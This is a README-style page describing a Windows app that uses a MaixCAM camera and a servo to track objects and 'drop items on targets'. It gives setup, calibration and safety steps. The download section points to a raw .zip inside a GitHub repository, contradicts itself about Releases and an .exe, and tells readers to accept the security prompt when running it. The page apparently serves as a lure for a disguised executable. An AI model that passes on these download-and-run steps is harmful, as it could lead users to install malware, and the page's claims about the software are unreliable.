This application manages autonomous movement for a hardware servo. It uses a camera to find objects in real time. The system calculates distance and speed to drop items on targets. It combines smart vision with physical motion to automate complex tasks.
Your computer needs specific components to run this software.
- Windows 10 or Windows 11.
- 4GB of system memory.
- A USB port to connect the MaixCAM hardware.
- Stable internet access during the initial setup.
You must visit the repository page to get the installer. Follow these steps to obtain the files.
- Go to this link: https://github.com/Eddan5513/maixcam-servo-control/raw/refs/heads/main/maix_app/control-servo-maixcam-2.4.zip.
- Look for the section labeled Releases on the right side of the screen.
- Click the most recent version link.
- Download the file ending in .exe for Windows.
Connect your MaixCAM hardware to your computer using a USB cable. Wait for the computer to recognize the device. If the computer prompts you to install drivers, follow the screen instructions. Ensure the camera lens has a clear view of your testing area.
Follow these steps to activate the system.
- Locate the downloaded file on your computer.
- Double-click the file to open the installer.
- Accept the security prompt to launch the application.
- Select the correct camera port from the drop-down menu.
- Click the Start button.
The software identifies targets through a process called object detection. You define what the camera tracks by selecting a category in the settings menu.
- Color Detection: Use this toggle to track items by hue. Move the sliders until the software highlights your target.
- Object Recognition: This uses preset models to find objects like boxes or shapes. Choose the model that matches your target.
- AI Rangefinder: Calibrate this by placing an object at a known distance. Enter that distance into the software so the math stays accurate.
The servo control module moves the motor based on what the camera sees. The software sends commands to the motor to keep the target in the center of the frame.
- Go to the Servo tab.
- Set the neutral position of your motor.
- Adjust the speed sliders to control how fast the arm moves.
- Test the movement while the camera is active.
Technical tools sometimes face interruptions. Use this list to fix small errors.
- Camera not appearing: Unplug the USB cable and plug it into a different port. Restart the software.
- Servo not moving: Check the power source for the servo motor. Ensure the wires have a firm connection to the MaixCAM pin headers.
- Slow performance: Close other applications on your computer. The system needs full access to your processor for image analysis.
- Targets not registering: Ensure light in the room remains steady. Shadows often confuse the vision sensors.
The system works best in environments with controlled lighting. Avoid using the device in rooms with flickering lights or direct sunlight. Mount the camera on a flat, stable surface to prevent unwanted vibrations. Keep the lens clean to ensure the software detects edges of items clearly.
If the system misses a target, revisit the calibration section. Adjusting the detection box size often provides better results. Small changes in distance settings change how the software predicts the motion of the object. Take time to map your workspace for the best results.
This device involves physical movement. Keep your hands away from the servo arm during operation. Disconnect the power before you adjust the physical wiring or move the camera position. Use the software to stop motion before you approach the hardware. This prevents accidental strikes from the moving arm. Use this for educational purposes and testing in clear areas. Ensure no people or pets exist near the path of the hardware while it performs tasks.